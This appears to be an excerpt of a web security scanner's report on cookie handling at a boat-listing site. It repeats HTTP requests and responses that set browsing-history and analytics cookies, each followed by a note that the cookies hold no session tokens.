HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:51 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 18 Nov 2010 20:30:49 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2272100%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B169%2C000%5B%25%5DHampton%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F2%2F1%2F2272100_1_mini.jpg%3F1286375575000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2272100%2FHampton%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 19:58:51 GMT Set-Cookie: VIEWED_BOATS_STORE=2272100%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B169%2C000%5B%25%5DHampton%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F2%2F1%2F2272100_1_mini.jpg%3F1286375575000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2272100%2FHampton%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boats/2009/Regulator-32-Fs-2300541/Sardegna-centro-orientale/Italy HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:59:06 GMT Server: Apache Cache-Control: private If-Modified-Since: Wed, 12 Jan 2011 13:33:54 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2300541%5B%25%5D32%27+Regulator+32+FS%5B%25%5DEUR%26nbsp%3B180%2C000%5B%25%5DSardegna+centro+orientale%2C+Italy%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F0%2F5%2F2300541_1_mini.jpg%3F1294838885000%5B%25%5D%2Fboats%2F2009%2FRegulator-32-FS-2300541%2FSardegna-centro-orientale%2FItaly%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 19:59:06 GMT Set-Cookie: VIEWED_BOATS_STORE=2300541%5B%25%5D32%27+Regulator+32+FS%5B%25%5DEUR%26nbsp%3B180%2C000%5B%25%5DSardegna+centro+orientale%2C+Italy%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F0%2F5%2F2300541_1_mini.jpg%3F1294838885000%5B%25%5D%2Fboats%2F2009%2FRegulator-32-FS-2300541%2FSardegna-centro-orientale%2FItaly%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /boats/2010/Regulator-32fs-Center-Console-2293873/Brick/NJ/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:00:18 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 10 Dec 2010 20:05:25 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2293873%5B%25%5D32%27+Regulator+32FS+Center+Console%5B%25%5DUSD%26nbsp%3B219%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F3%2F8%2F2293873_1_mini.jpg%3F1292001735000%5B%25%5D%2Fboats%2F2010%2FRegulator-32FS-Center-Console-2293873%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:00:18 GMT Set-Cookie: VIEWED_BOATS_STORE=2293873%5B%25%5D32%27+Regulator+32FS+Center+Console%5B%25%5DUSD%26nbsp%3B219%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F3%2F8%2F2293873_1_mini.jpg%3F1292001735000%5B%25%5D%2Fboats%2F2010%2FRegulator-32FS-Center-Console-2293873%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /privatelabel/listing/cache/pl_search_results.jsp?slim=pp279757&cit=true&sm=3&is=&man=&fromLength=&toLength=&luom=126&fromYear=&toYear=&fromPrice=&toPrice=¤cyid=100&hmid=&ftid=&enid=&city=&spid=&rid=&cint=&msint=&ps=50 HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.atlanticmarinesales.com/index.php/inventory/new-inventory/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:16:13 GMT Server: Apache Cache-Control: private Set-Cookie: yw_c_id=5778232892790151794; path=/; expires=Tue, 14-Feb-2079 22:30:19 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 16627
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 